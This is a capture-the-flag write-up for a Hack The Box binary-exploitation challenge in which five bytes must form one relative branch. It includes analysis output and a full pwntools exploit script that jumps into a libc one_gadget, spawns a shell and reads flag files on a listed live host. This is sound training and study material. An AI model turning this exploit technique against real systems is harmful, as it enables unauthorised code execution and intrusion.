HTB Cyber Apocalypse 2026 - The Salt Crown: Pwn / Words from the Past (Hard)

Author: Hubert Feyrer / hubertf - 31.07.2026

Challenge description

Rogat lost a blood-price dispute his clan should have won [...] Rin gets inside the Iron Vultures' camp before Rogat gets sold to whoever bids highest for his silence. He isn't chained the way a giant should be. The rig holding him is old work, something built by a border people who don't have a name anymore, the kind of craft Garran Voss grew up around on the winter keep before Crownspire ever took him in. He taught her the shape of it once, half as history, half as a joke about a dead trade nobody would ever need again. She needs every piece of that joke to be true.

Five bytes. That is the entire input budget - read into an RWX page and executed, with a filter that permits exactly one relative branch and nothing else. It happens twice, under different rules, and the second time the target is a one_gadget in libc.

1. Download

$ ls -la
-rw-r--r--@ 1 feyrer staff     269 May 10 16:08 Dockerfile
-rwxrwxr-x@ 1 feyrer staff  236616 May 17 03:59 challenge/glibc/ld-linux-x86-64.so.2
-rwxrwxr-x@ 1 feyrer staff 2125328 May 17 03:59 challenge/glibc/libc.so.6
-rwxrwxr-x@ 1 feyrer staff   18496 May 17 05:51 challenge/words_from_the_past

$ file challenge/words_from_the_past
challenge/words_from_the_past: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, stripped

$ pwn checksec challenge/words_from_the_past
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'$ORIGIN/glibc'

Every mitigation enabled, and stripped on top - the opposite of the usual "one missing protection is the way in". Whatever the bug is, it is not a missing flag. The bundled glibc is a hint of its own: it is there because the exploit will need its exact addresses.

2. Docker/nc - what we get

The Dockerfile shows how the service is exposed:

FROM alpine:latest
RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh
EXPOSE 1337
RUN addgroup -S ctf && adduser -S ctf -G ctf
COPY challenge/ /home/ctf/
WORKDIR /home/ctf
USER ctf
CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./words_from_the_past"]

socat ... fork EXEC:./words_from_the_past - so every connection is a fresh process with a fresh PID. That detail turns out to matter enormously.

The program itself prints nothing at all. It reads, and either something happens or the connection dies.

3. Analysis steps

3.1 Read the binary (success)

Stripped, so Ghidra gives no names - but the binary is small, and main holds the entire mechanism. Decompiled and annotated, it fits on one screen:

Ghidra decompilation of main, showing the state machine, the mmap and the filters

main in Ghidra. Function names are annotations added while reading - the binary is stripped.

Reading it top to bottom:

So the five bytes have to survive four rules:

Conclusion: Five bytes with a mandatory E8/E9 first byte is not a constraint, it is a specification: one relative branch, opcode + int32 displacement, exactly 5 bytes. Nothing else fits. And a relative branch is ASLR-independent by construction - it encodes a distance, not an address. That is the whole idea of the challenge.

3.2 Find the two stages (success)

A state variable in .data suggests the read happens more than once.

Stage 1Stage 2
page location binary_base + 0x11000 libc_base - (0x1000 + getpid()&7) * 0x1000, MAP_FIXED
allowed opcodeE8 (call)E9 (jmp)
reachable from therethe binary itselflibc

Stage 1 is solvable with a constant. main sits at binary_base + 0x16d5 and the page at binary_base + 0x11000, so the displacement is a fixed -0xf930 regardless of where ASLR puts the image. Calling back into main advances the state machine into stage 2:

STAGE1 = bytes.fromhex("e8d006ffff")   # call -0xf930 -> main

Which raises the obvious question: why two stages at all - why not jump straight into libc from the first one? Because a relative branch has a range. The displacement is a signed 32-bit value, so it reaches at most +-2 GB. The stage 1 page lives next to the binary, and the distance from there to libc is 42.7 TB:

555555565000-555555566000 rwxp    <- the stage 1 RWX page, next to the binary
7fffff5b1000-7fffff5d9000 r--p    /home/ctf/glibc/libc.so.6

   distance = 0x7fffff5b1000 - 0x555555565000 = 0x2aaaaa04c000  (42.7 TB)
   reach of a rel32 branch       = +-0x80000000 (2 GB)

Conclusion: From stage 1, libc is out of reach by a factor of ~21800 - the only thing in range is the binary itself. So the first branch cannot be the payload; it can only be used to get somewhere else. That is what makes stage 2 the real target: its page is mapped MAP_FIXED a few pages below libc, which puts the entire library inside the +-2 GB window. There a single jump reaches a one_gadget - except the distance contains getpid() & 7.

3.3 Convince yourself ASLR is off (failed)

Running the container locally and dumping /proc/PID/maps repeatedly showed the same addresses every single time.

555555565000-555555566000 rwxp 00000000 00:00 0
7fffff5af000-7fffff5b1000 rw-p 00000000 00:00 0
7fffff5b1000-7fffff5d9000 r--p 00000000 00:3e 291575  /home/ctf/glibc/libc.so.6

(identical on run 2, run 3, ...)
     => looks stable!

Which would make the whole exercise pointless. But:

# cat /proc/sys/kernel/randomize_va_space
2                                    <- ASLR fully enabled

The host is Apple Silicon, so the amd64 container runs under emulation - first qemu, then Rosetta. Both flatten the address layout. Verifying on real x86 hardware:

$ strace -f -e trace=mmap,prctl,read ./words_from_the_past
[pid 1157305] mmap(0x55f0619fa6d5, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, ...) = 0x55f0619fa000
[pid 1157340] mmap(0x556c45a846d5, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, ...) = 0x556c45a84000
[pid 1157367] mmap(0x55f751cce6d5, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, ...) = 0x55f751cce000
     => ASLR!

Conclusion: The stable addresses were an artifact of the emulation layer, not a property of the target. Worth remembering: an emulator is not a faithful ASLR environment - conclusions about address randomisation drawn under Rosetta or qemu do not transfer. Incidentally the strace also confirms the mmap hint is ...6d5 and gets rounded down to a page boundary.

3.4 Pick a one_gadget (success)

With a relative jump into libc available, a single gadget that calls execve("/bin/sh") is enough - no Return-Oriented Programming (ROP) chain fits in five bytes anyway.

$ one_gadget libc.so.6
0x583ec  posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
         constraints: address rsp+0x68 is writable; rsp & 0xf == 0; ...

0x583f3  posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
         constraints: address rsp+0x68 is writable; rsp & 0xf == 0; ...

0xef4ce  execve("/bin/sh", rbp-0x50, r12)
         constraints: address rbp-0x48 is writable; ...

Tested locally against a known PID - where the displacement can be computed instead of guessed - only 0x583f3 fired. The other posix_spawn gadget failed even with a provably correct offset, because its register constraints do not hold at this call site.

Conclusion: Use 0x583f3 first, but keep all four in the exploit: the surviving constraint is rsp & 0xf == 0, and stack alignment depends on environment and argv - which differ between the local run and the server.

3.5 The unknown in the displacement (success)

Stage 2's page is at libc_base - (0x1000 + getpid()&7) * 0x1000. Computing the jump distance to a gadget:

disp = gadget + (0x1000 + pid_low) * 0x1000 - 5

libc_base cancels out completely - that is why ASLR does not matter. But pid & 7 does not cancel, and nothing in the program leaks it.

Conclusion: Three unknown bits, so eight possibilities - and because socat forks a fresh process per connection, every attempt draws a new PID. Guessing is free: reconnect and try the next value. Expected cost is a handful of connections, not a brute force.

3.6 Detect success honestly (failed, then fixed)

An early version reported a shell on every attempt.

A wrong jump only kills the forked child. The parent stays in waitpid() and then exits cleanly, so the connection does not necessarily drop - there is no error to detect. Worse, recvuntil with a timeout returns b"" rather than raising, so treating "no exception" as success declares victory every time.

Conclusion: Send a marker through the shell and require it in the response: echo PWNED. Only a real shell echoes it back. This is the difference between an exploit that works and one that merely appears to.

4. Solution

#!/usr/bin/env python3
"""
Exploit for words_from_the_past.

Five bytes of input are read into an RWX page and executed, and a filter
insists they be a single E8 (call) or E9 (jmp) - exactly one relative branch,
nothing else fits. The program runs that twice, with different rules:

  stage 1   page sits at binary_base + 0x11000, opcode must be E8
            main is at binary_base + 0x16d5, so the displacement is a
            constant -0xf930 no matter where ASLR puts the image; calling
            back into main advances the state machine

  stage 2   page is mmap'd at libc_base - (0x1000 + getpid()&7) * 0x1000
            with MAP_FIXED, opcode must be E9. From there libc is within
            the +-2GB reach of a relative jump, so one jump into a
            one_gadget is enough:

                disp = gadget + (0x1000 + pid&7) * 0x1000 - 5

            libc_base cancels out, but pid&7 does not, and nothing leaks it.
            Hence the retry loop: each connection is a fresh process with a
            fresh pid, so a wrong guess just costs one attempt.

Gadget 0x583f3 was picked by testing all four locally against a known pid,
where the displacement could be computed rather than guessed. The other
posix_spawn gadget never fired even with a provably correct offset - its
register constraints do not hold at the call site.

Usage:
    python3 2exploit.py <host> <port>
    python3 2exploit.py ./words_from_the_past      # local binary
"""

import struct
import sys

from pwn import context, process, remote

context.log_level = "error"

STAGE1 = bytes.fromhex("e8d006ffff")   # call -0xf930 -> main
MAX_ATTEMPTS = 400
MARKER = b"PWNED"                      # proof that a shell really answered

# All four one_gadgets from the bundled glibc 2.39. Locally only 0x583f3
# fired, but its constraint is rsp & 0xf == 0, and stack alignment depends on
# the environment and argv - which differ on the server. So try them all.
GADGETS = [0x583F3, 0x583EC, 0xEF4CE, 0xEF52B]

FORBIDDEN = {0x00, 0x0A, 0xCC}         # NUL, newline, int3 are all rejected


def stage2(gadget, pid_low):
    """Relative jump from the second page up into libc."""
    disp = gadget + (0x1000 + pid_low) * 0x1000 - 5
    return b"\xe9" + struct.pack("<i", disp)


def connect(target):
    if len(target) == 2:
        return remote(target[0], int(target[1]))
    return process(target[0])


def attempt(target, gadget, pid_low):
    """One shot with a guessed pid&7. Returns an open shell, or None.

    A failed jump only kills the forked child; the parent stays in waitpid()
    and then exits cleanly, so the connection does not necessarily drop. The
    marker therefore has to be seen, not merely waited for - recvuntil with a
    timeout returns b"" instead of raising, and treating that as success
    reports a shell on every attempt.
    """
    io = connect(target)
    try:
        io.send(STAGE1)
        io.send(stage2(gadget, pid_low))
        io.sendline(b"echo " + MARKER + b"; cat flag* /flag* 2>/dev/null")
        seen = io.recvuntil(MARKER, timeout=3)
    except Exception:
        io.close()
        return None
    if MARKER not in seen:
        io.close()
        return None
    return io


def main():
    target = sys.argv[1:]
    if not target:
        sys.exit("usage: %s <host> <port> | %s <binary>"
                 % (sys.argv[0], sys.argv[0]))

    for gadget in GADGETS:
        for k in range(8):
            payload = stage2(gadget, k)
            assert not (set(payload) & FORBIDDEN), \
                "gadget 0x%x, pid&7=%d hits a filtered byte" % (gadget, k)

    for attempt_no in range(MAX_ATTEMPTS):
        # Sweep pid&7 fastest: within one gadget, eight shots cover every
        # possibility, so a working gadget shows up within eight attempts.
        gadget = GADGETS[(attempt_no // 8) % len(GADGETS)]
        pid_low = attempt_no % 8

        io = attempt(target, gadget, pid_low)
        if io is None:
            continue

        print("[+] shell after %d attempts (gadget 0x%x, pid&7 = %d)"
              % (attempt_no + 1, gadget, pid_low))
        print(io.recvrepeat(1).decode(errors="replace"))
        io.interactive()
        return

    print("[-] no shell in %d attempts" % MAX_ATTEMPTS)


if __name__ == "__main__":
    main()

5. Run it

Against the live service:

$ python3 2remote.py 154.57.164.78 32468
[+] shell after 1 attempts (guessed pid&7 = 0)

HTB{f1v3_byt3s_0f_pr3c1s10n_t0 rul3_th3m_4ll_b5347bf0a7e46ab2e3b1ac5df2300b15}
$ id
uid=100(ctf) gid=101(ctf) groups=101(ctf)
$ ls
flag.txt
glibc
words_from_the_past
$ cat flag.txt
HTB{f1v3_byt3s_0f_pr3c1s10n_t0 rul3_th3m_4ll_5da38b15d028faae2b4c437c96d65292}

The exploit reproduces against the shipped binary. The host is arm64 macOS, so it runs in an amd64 container - the same emulation caveat as in step 3.3 applies to the addresses, but not to the exploit, because it never uses an absolute one:

$ docker run --rm --platform linux/amd64 -v "$PWD:/w" -w /w pwnbox \
      sh -c 'echo "HTB{local_test}" > challenge/flag.txt;
             cd challenge && python3 ../2remote.py ./words_from_the_past'
[+] shell after 5 attempts (gadget 0x583f3, pid&7 = 4)

HTB{local_test}

Five attempts, and the run reports which guess landed - pid&7 = 4 with gadget 0x583f3, exactly the one that was expected to work. That is the retry loop from step 3.5 doing its job.

Flag

HTB{f1v3_byt3s_0f_pr3c1s10n_t0 rul3_th3m_4ll_5da38b15d028faae2b4c437c96d65292}

6. Summary of how the exploit works

#StageMechanism
1The primitive Five bytes are read into an RWX page and executed. A filter forbids 0x00, 0x0a, 0xcc and demands E8/E9 as the first byte - which leaves exactly one legal instruction: a relative call or jump.
2Why ASLR is irrelevant A relative branch encodes a distance, not an address. Both pages are placed at fixed offsets from something - the binary in stage 1, libc in stage 2 - so the randomised base cancels out of the arithmetic.
3Why one stage is not enough A relative branch also has a range: the displacement is a signed 32-bit value, so it reaches +-2 GB and no further. The stage 1 page sits next to the binary, and libc is nowhere near it - 42.7 TB away in the observed layout, about 21800 times the reach of a rel32 branch. libc simply cannot be reached from stage 1. That is the entire reason the challenge has two stages.
4Stage 1 - move, do not shoot Since only the binary itself is in range, the one branch is spent going nowhere useful on purpose: call -0xf930 re-enters main (page at binary_base + 0x11000, main at binary_base + 0x16d5). Its only job is to advance the state machine.
5Stage 2 - now libc is next door The second read maps its page with MAP_FIXED at libc_base - (0x1000 + pid&7) * 0x1000 - i.e. a few pages below libc, deliberately. From there the whole library is well inside the +-2 GB window, and a single jmp reaches a one_gadget: disp = gadget + (0x1000 + pid_low) * 0x1000 - 5.
6The three unknown bits pid & 7 never leaks, so it is guessed. socat forks per connection, so each attempt is a fresh PID - eight tries cover the space.

The elegance is in what the five-byte limit forces. It is too small for shellcode, too small for an address, too small for anything except a single relative branch - and a relative branch is precisely the one construct that does not care about ASLR. The designers then removed every absolute-address route (full Relocation Read-Only (RELRO), PIE, stripped, anti-debug, LD_PRELOAD checks) so that the intended path is the only path. The one deliberate leak left in the design is pid & 7, and it is small enough to guess and cheap enough to retry.